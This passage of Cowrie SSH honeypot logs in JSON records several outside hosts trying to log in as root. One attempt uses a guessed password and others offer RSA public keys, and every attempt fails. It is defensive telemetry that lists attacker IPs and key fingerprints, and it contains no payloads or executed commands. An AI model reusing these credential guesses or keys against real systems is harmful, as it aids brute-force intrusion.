f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:00.664434Z","src_ip":"45.123.110.70","session":"28987f7fbf46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hernan","message":"login attempt [root/hernan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:01.588667Z","src_ip":"45.123.110.70","session":"28987f7fbf46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:02.829555Z","src_ip":"45.123.110.70","session":"28987f7fbf46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.146.52","src_port":45072,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1292a210e22","protocol":"ssh","message":"New connection: 45.148.146.52:45072 (10.17.0.5:22) [session: a1292a210e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:06.849989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:06.854971Z","src_ip":"45.148.146.52","session":"a1292a210e22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:06.948903Z","src_ip":"45.148.146.52","session":"a1292a210e22","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:6c:e4:15:3d:e7:c8:e4:59:d0:62:92:71:3a:82:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDezocLtmlr+liauPAKk4gKSLhJsCLCYiUzJQj2yQ8WEfGrgQMSwCXjuEP0CNkPS+Q1cIKbqt+y+WissoSUhn8mr/039yvqHnLINSqB7foqyHBJHk3FGumHFWSGcv9nnDJv/US51AleTvChaoyljRQqXoPN4eei+CzpW72FDaY1nyl3e84k4MV16/FFZCvubCtYdPg6KZdUCtALjCZKVUM/RwK+HPNUUIrtdgFcWcPosdeS7FKgaBFS+aFC4rPSNJivYRw3m77dSqwHYmj5ODBRx3r3ORHWzv3zox14wQp429OsQtw27B8bFACEGBA1FAhVxJ6X3KyQHp+r9bnXsAQ3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e2:6c:e4:15:3d:e7:c8:e4:59:d0:62:92:71:3a:82:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:07.381601Z","src_ip":"45.148.146.52","session":"a1292a210e22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:6c:e4:15:3d:e7:c8:e4:59:d0:62:92:71:3a:82:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDezocLtmlr+liauPAKk4gKSLhJsCLCYiUzJQj2yQ8WEfGrgQMSwCXjuEP0CNkPS+Q1cIKbqt+y+WissoSUhn8mr/039yvqHnLINSqB7foqyHBJHk3FGumHFWSGcv9nnDJv/US51AleTvChaoyljRQqXoPN4eei+CzpW72FDaY1nyl3e84k4MV16/FFZCvubCtYdPg6KZdUCtALjCZKVUM/RwK+HPNUUIrtdgFcWcPosdeS7FKgaBFS+aFC4rPSNJivYRw3m77dSqwHYmj5ODBRx3r3ORHWzv3zox14wQp429OsQtw27B8bFACEGBA1FAhVxJ6X3KyQHp+r9bnXsAQ3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:07.386031Z","src_ip":"45.148.146.52","session":"a1292a210e22","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:57:af:40:17:06:7d:fd:ba:a8:75:2b:60:62:96:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8ZpuLNThD09QOhZjeI8q5+eCALtQHS7VUybmCxD74du5IvR8dJsKv6Wil4ZvuxBm8RZv5rj0cVcWQVqrUCHW+4EgFTE1Kb+cBLx1kZte5LTPXTHz1hG2Jon0FIO1l8s7bEtJE2jw0Fl9kVv2iZ7WvBFEvrLm07Zph9zglFEv7+dx6rEodCpcmO52ZF8ghuc7B3hGSXMVEldXeXFebIHAnC9Pga/fps85KOTzKof87QgnY8wT+alFZi+Tttgb8i5uLsd3rU8u5ARo5v7ahu64pHLlZRWi+UtVWQrz56e9O+K3h6J8sDQiSpNhtn/WR3y4vlbJiiChm2XI26pgUhIlO5qDVsHW1rl9ORBB7cX0wBXMUqJ4GtalW4XAV4SAQ4UZ/5DU9R/3VRU85RBnsL73SlVl/6KYMRwzfMYmobzHFEbvvzTBWhdDeqXZF9CamXYr0SvhgrVGX4d2e5EbSW++V4aFYvdnivFolS7r2iLpuI7RMN09o1XV7aJtQ7wrABsF3uoHUCgEx5TPNQkVhMnNnf0uL/j5ho6Lcw6PQLMJyiv75nhJlO9qOxWQXIT3jYIhvQJfVe6l01S1eLyRIjLxaYifhhuhO0I8PZZaK7l4LB8dWQw08j15neR26Dq/eVp4+fwh8fWkl5F6l2mrrSBFSOwMYKmJ11q0bdzZzYnitvw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:57:af:40:17:06:7d:fd:ba:a8:75:2b:60:62:96:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:07.478185Z","src_ip":"45.148.146.52","session":"a1292a210e22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:57:af:40:17:06:7d:fd:ba:a8:75:2b:60:62:96:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8ZpuLNThD09QOhZjeI8q5+eCALtQHS7VUybmCxD74du5IvR8dJsKv6Wil4ZvuxBm8RZv5rj0cVcWQVqrUCHW+4EgFTE1Kb+cBLx1kZte5LTPXTHz1hG2Jon0FIO1l8s7bEtJE2jw0Fl9kVv2iZ7WvBFEvrLm07Zph9zglFEv7+dx6rEodCpcmO52ZF8ghuc7B3hGSXMVEldXeXFebIHAnC9Pga/fps85KOTzKof87QgnY8wT+alFZi+Tttgb8i5uLsd3rU8u5ARo5v7ahu64pHLlZRWi+UtVWQrz56e9O+K3h6J8sDQiSpNhtn/WR3y4vlbJiiChm2XI26pgUhIlO5qDVsHW1rl9ORBB7cX0wBXMUqJ4GtalW4XAV4SAQ4UZ/5DU9R/3VRU85RBnsL73SlVl/6KYMRwzfMYmobzHFEbvvzTBWhdDeqXZF9CamXYr0SvhgrVGX4d2e5EbSW++V4aFYvdnivFolS7r2iLpuI7RMN09o1XV7aJtQ7wrABsF3uoHUCgEx5TPNQkVhMnNnf0uL/j5ho6Lcw6PQLMJyiv75nhJlO9qOxWQXIT3jYIhvQJfVe6l01S1eLyRIjLxaYifhhuhO0I8PZZaK7l4LB8dWQw08j15neR26Dq/eVp4+fwh8fWkl5F6l2mrrSBFSOwMYKmJ11q0bdzZzYnitvw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:07.482096Z","src_ip":"45.148.146.52","session":"a1292a210e22","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:6f:fe:9a:10:7c:63:fe:52:9f:7d:91:e8:0c:c7:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXz13E3OFZPG0ayX9oMgjKTVgC1tRjyBCwb7vZFfkx03QwT8aeOx8eTdT2E96OE4ZMqS0KSV5WJ5EzvmJblsyvmQhJUWCoWSWZ84V8Gm9jOGpYelAGvoaKNkt/825GRbXIJPlbbOAMOXlnUPwwohRMR3hJE9N5LQzFU/XVV3ShTpquvagNNM4pr7669n8jx3mIUDl2Ec3B18DjzKBZ36CTQx/s65sVJtTX16kL0UuFP5bg1VM6kL2MP1qVXaFLRvIQEE7UYmw2CBVIvsWvpQTMnZQn/lczYT5jrBYhzJG5wRyBPTU9nsqW9LhM8Uimxhk5wfNCBOqccK+Jq7HjRwwO4UQHtrQePLJV1NEdTqZOlrFhvgBjRyxuMEx7Nma2Ioqs1Nhd+jkePp1L5/V2ByktG2y6Bi4ESzjY/aTtdhxwdg1EYzVXfbA//5h8z7oaeRUn0NzuabopoJd6ZmdacJIu4eEXZHGsuFsskPnjqxFEdtsFinPjRTEUiYgJWG6TOdzqP9f4U42tgbo36X3P8vYdDqgzJ5Kz6eujMOsx6stj6tzrvCNKaJMMAJCQCv1pQwrulpXYdBRjsics88Rl6Y/bJvG2hWtlBNURaT9Oqih/x4zBI9w7DSVvQJ9QapBAmYa9dMDaILktWedzZLsGMXzwRRAosPpVqjleTO0eyc8PeQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:6f:fe:9a:10:7c:63:fe:52:9f:7d:91:e8:0c:c7:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:07.577200Z","src_ip":"45.148.146.52","session":"a1292a210e22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:6f:fe:9a:10:7c:63:fe:52:9f:7d:91:e8:0c:c7:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXz13E3OFZPG0ayX9oMgjKTVgC1tRjyBCwb7vZFfkx03QwT8aeOx8eTdT2E96OE4ZMqS0KSV5WJ5EzvmJblsyvmQhJUWCoWSWZ84V8Gm9jOGpYelAGvoaKNkt/825GRbXIJPlbbOAMOXlnUPwwohRMR3hJE9N5LQzFU/XVV3ShTpquvagNNM4pr7669n8jx3mIUDl2Ec3B18DjzKBZ36CTQx/s65sVJtTX16kL0UuFP5bg1VM6kL2MP1qVXaFLRvIQEE7UYmw2CBVIvsWvpQTMnZQn/lczYT5jrBYhzJG5wRyBPTU9nsqW9LhM8Uimxhk5wfNCBOqccK+Jq7HjRwwO4UQHtrQePLJV1NEdTqZOlrFhvgBjRyxuMEx7Nma2Ioqs1Nhd+jkePp1L5/V2ByktG2y6Bi4ESzjY/aTtdhxwdg1EYzVXfbA//5h8z7oaeRUn0NzuabopoJd6ZmdacJIu4eEXZHGsuFsskPnjqxFEdtsFinPjRTEUiYgJWG6TOdzqP9f4U42tgbo36X3P8vYdDqgzJ5Kz6eujMOsx6stj6tzrvCNKaJMMAJCQCv1pQwrulpXYdBRjsics88Rl6Y/bJvG2hWtlBNURaT9Oqih/x4zBI9w7DSVvQJ9QapBAmYa9dMDaILktWedzZLsGMXzwRRAosPpVqjleTO0eyc8PeQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:07.581728Z","src_ip":"45.148.146.52","session":"a1292a210e22","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:36:0c:8d:54:52:ea:31:dc:0d:53:43:8f:bc:f3:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA68Q4iEwxQmr8smQl1mB9IjbFHYQ9oCco4sjxn75Sylx96CTKwdEwmMaanCnnINJRldLsm6qsghou2XngKkdgDE7nOLLRdR2c34dzI5dpDZNPEoq1gvLHCT1J0E+mza6xdM4BV3cNwAW/tN440CuzySe7DehOGIzCuENg58PA5DqH41z8IPl8ka1smRaIlMxwdaY9NmCijLE7GfZrFMQVEeoNkh8hbW+LTwIPOXEaSUNfUgAdf1FTO18cKvI8rWWqo4BrfHrlPX1zCLMsuudL9BFxEgOdFTcKNH+rWINrIx/HKlsewSxYRxWxAqsKjFZ2U/CWak698YX8xQmq64ct","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:36:0c:8d:54:52:ea:31:dc:0d:53:43:8f:bc:f3:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:07.674031Z","src_ip":"45.148.146.52","session":"a1292a210e22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:36:0c:8d:54:52:ea:31:dc:0d:53:43:8f:bc:f3:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA68Q4iEwxQmr8smQl1mB9IjbFHYQ9oCco4sjxn75Sylx96CTKwdEwmMaanCnnINJRldLsm6qsghou2XngKkdgDE7nOLLRdR2c34dzI5dpDZNPEoq1gvLHCT1J0E+mza6xdM4BV3cNwAW/tN440CuzySe7DehOGIzCuENg58PA5DqH41z8IPl8ka1smRaIlMxwdaY9NmCijLE7GfZrFMQVEeoNkh8hbW+LTwIPOXEaSUNfUgAdf1FTO18cKvI8rWWqo4BrfHrlPX1zCLMsuudL9BFxEgOdFTcKNH+rWINrIx/HKlsewSxYRxWxAqsKjFZ2U/CWak698YX8xQmq64ct","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:07.678623Z","src_ip":"45.148.146.52","session":"a1292a210e22","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:ca:f5:5b:fd:d7:8d:13:cc:99:28:5e:56:0e:66:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCy79s/hJ/DIFfrSW3TrnwIe4/mbYL9Plr68iNrqPMyfAzAMqwNPat2wkE2eqjy+khd6plqCV5sxgjI8WDHe1bbLUX/bM7rGsM9N6OnfAN7aIAiWrTVyg9iaCZLtDoN38R1FWl8pJ8qRDZgiGJnmiEwcj5bn4/MPVhi7hZ94NyIVEE7zUEqh/wlF0rqek+HMsZ2BdRYFO0Tmh9QE6MsfBD966XRJyPGsmPwc+Fz2sWFbFm4tCHKTALqWKCCNYvB0qXTCpws/VVaXjynaNMLh9sTLN4J5RKzDv4HdYlAXt3sn1esFz62xmRQa0RyDQZfthwiUPx715XoAhAK0wNs9GX9c802OwnWqR7xmI7HxJK3nLi58+xncTwJNjok8OHS9x7kMuoEVwN9lTeJvnNmuToGR2zcmL0/uQIt3H6/EomT8SKin+GDUCC5sLuzZxnFsNPdgXCDIAq7kjbtnce0um2RGyzsuvrLCei68S8rkoOiC/jNo5ICLVQMULKyJNGPU6M=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:ca:f5:5b:fd:d7:8d:13:cc:99:28:5e:56:0e:66:c3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:07.771340Z","src_ip":"45.148.146.52","session":"a1292a210e22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:ca:f5:5b:fd:d7:8d:13:cc:99:28:5e:56:0e:66:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCy79s/hJ/DIFfrSW3TrnwIe4/mbYL9Plr68iNrqPMyfAzAMqwNPat2wkE2eqjy+khd6plqCV5sxgjI8WDHe1bbLUX/bM7rGsM9N6OnfAN7aIAiWrTVyg9iaCZLtDoN38R1FWl8pJ8qRDZgiGJnmiEwcj5bn4/MPVhi7hZ94NyIVEE7zUEqh/wlF0rqek+HMsZ2BdRYFO0Tmh9QE6MsfBD966XRJyPGsmPwc+Fz2sWFbFm4tCHKTALqWKCCNYvB0qXTCpws/VVaXjynaNMLh9sTLN4J5RKzDv4HdYlAXt3sn1esFz62xmRQa0RyDQZfthwiUPx715XoAhAK0wNs9GX9c802OwnWqR7xmI7HxJK3nLi58+xncTwJNjok8OHS9x7kMuoEVwN9lTeJvnNmuToGR2zcmL0/uQIt3H6/EomT8SKin+GDUCC5sLuzZxnFsNPdgXCDIAq7kjbtnce0um2RGyzsuvrLCei68S8rkoOiC/jNo5ICLVQMULKyJNGPU6M=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:07.776245Z","src_ip":"45.148.146.52","session":"a1292a210e22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:07.869468Z","src_ip":"45.148.146.52","session":"a1292a210e22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.100.92","src_port":57128,"dst_ip":"10.17.0.5","dst_port":22,"session":"6af5a28463d5","protocol":"ssh","message":"New connection: 157.173.100.92:57128 (10.17.0.5:22) [session: 6af5a28463d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:14.042106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:14.047344Z","src_ip":"157.173.100.92","session":"6af5a28463d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:14.146205Z","src_ip":"157.173.100.92","session":"6af5a28463d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:6c:e4:15:3d:e7:c8:e4:59:d0:62:92:71:3a:82:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDezocLtmlr+liauPAKk4gKSLhJsCLCYiUzJQj2yQ8WEfGrgQMSwCXjuEP0CNkPS+Q1cIKbqt+y+WissoSUhn8mr/039yvqHnLINSqB7foqyHBJHk3FGumHFWSGcv9nnDJv/US51AleTvChaoyljRQqXoPN4eei+CzpW72FDaY1nyl3e84k4MV16/FFZCvubCtYdPg6KZdUCtALjCZKVUM/RwK+HPNUUIrtdgFcWcPosdeS7FKgaBFS+aFC4rPSNJivYRw3m77dSqwHYmj5ODBRx3r3ORHWzv3zox14wQp429OsQtw27B8bFACEGBA1FAhVxJ6X3KyQHp+r9bnXsAQ3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e2:6c:e4:15:3d:e7:c8:e4:59:d0:62:92:71:3a:82:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:14.629752Z","src_ip":"157.173.100.92","session":"6af5a28463d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:6c:e4:15:3d:e7:c8:e4:59:d0:62:92:71:3a:82:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDezocLtmlr+liauPAKk4gKSLhJsCLCYiUzJQj2yQ8WEfGrgQMSwCXjuEP0CNkPS+Q1cIKbqt+y+WissoSUhn8mr/039yvqHnLINSqB7foqyHBJHk3FGumHFWSGcv9nnDJv/US51AleTvChaoyljRQqXoPN4eei+CzpW72FDaY1nyl3e84k4MV16/FFZCvubCtYdPg6KZdUCtALjCZKVUM/RwK+HPNUUIrtdgFcWcPosdeS7FKgaBFS+aFC4rPSNJivYRw3m77dSqwHYmj5ODBRx3r3ORHWzv3zox14wQp429OsQtw27B8bFACEGBA1FAhVxJ6X3KyQHp+r9bnXsAQ3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:14.648363Z","src_ip":"157.173.100.92","session":"6af5a28463d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:57:af:40:17:06:7d:fd:ba:a8:75:2b:60:62:96:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8ZpuLNThD09QOhZjeI8q5+eCALtQHS7VUybmCxD74du5IvR8dJsKv6Wil4ZvuxBm8RZv5rj0cVcWQVqrUCHW+4EgFTE1Kb+cBLx1kZte5LTPXTHz1hG2Jon0FIO1l8s7bEtJE2jw0Fl9kVv2iZ7WvBFEvrLm07Zph9zglFEv7+dx6rEodCpcmO52ZF8ghuc7B3hGSXMVEldXeXFebIHAnC9Pga/fps85KOTzKof87QgnY8wT+alFZi+Tttgb8i5uLsd3rU8u5ARo5v7ahu64pHLlZRWi+UtVWQrz56e9O+K3h6J8sDQiSpNhtn/WR3y4vlbJiiChm2XI26pgUhIlO5qDVsHW1rl9ORBB7cX0wBXMUqJ4GtalW4XAV4SAQ4UZ/5DU9R/3VRU85RBnsL73SlVl/6KYMRwzfMYmobzHFEbvvzTBWhdDeqXZF9CamXYr0SvhgrVGX4d2e5EbSW++V4aFYvdnivFolS7r2iLpuI7RMN09o1XV7aJtQ7wrABsF3uoHUCgEx5TPNQkVhMnNnf0uL/j5ho6Lcw6PQLMJyiv75nhJlO9qOxWQXIT3jYIhvQJfVe6l01S1eLyRIjLxaYifhhuhO0I8PZZaK7l4LB8dWQw08j15neR26Dq/eVp4+fwh8fWkl5F6l2mrrSBFSOwMYKmJ11q0bdzZzYnitvw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:57:af:40:17:06:7d:fd:ba:a8:75:2b:60:62:96:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:14.745555Z","src_ip":"157.173.100.92","session":"6af5a28463d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:57:af:40:17:06:7d:fd:ba:a8:75:2b:60:62:96:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8ZpuLNThD09QOhZjeI8q5+eCALtQHS7VUybmCxD74du5IvR8dJsKv6Wil4ZvuxBm8RZv5rj0cVcWQVqrUCHW+4EgFTE1Kb+cBLx1kZte5LTPXTHz1hG2Jon0FIO1l8s7bEtJE2jw0Fl9kVv2iZ7WvBFEvrLm07Zph9zglFEv7+dx6rEodCpcmO52ZF8ghuc7B3hGSXMVEldXeXFebIHAnC9Pga/fps85KOTzKof87QgnY8wT+alFZi+Tttgb8i5uLsd3rU8u5ARo5v7ahu64pHLlZRWi+UtVWQrz56e9O+K3h6J8sDQiSpNhtn/WR3y4vlbJiiChm2XI26pgUhIlO5qDVsHW1rl9ORBB7cX0wBXMUqJ4GtalW4XAV4SAQ4UZ/5DU9R/3VRU85RBnsL73SlVl/6KYMRwzfMYmobzHFEbvvzTBWhdDeqXZF9CamXYr0SvhgrVGX4d2e5EbSW++V4aFYvdnivFolS7r2iLpuI7RMN09o1XV7aJtQ7wrABsF3uoHUCgEx5TPNQkVhMnNnf0uL/j5ho6Lcw6PQLMJyiv75nhJlO9qOxWQXIT3jYIhvQJfVe6l01S1eLyRIjLxaYifhhuhO0I8PZZaK7l4LB8dWQw08j15neR26Dq/eVp4+fwh8fWkl5F6l2mrrSBFSOwMYKmJ11q0bdzZzYnitvw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:14.749848Z","src_ip":"157.173.100.92","session":"6af5a28463d5","protocol":"ssh"}
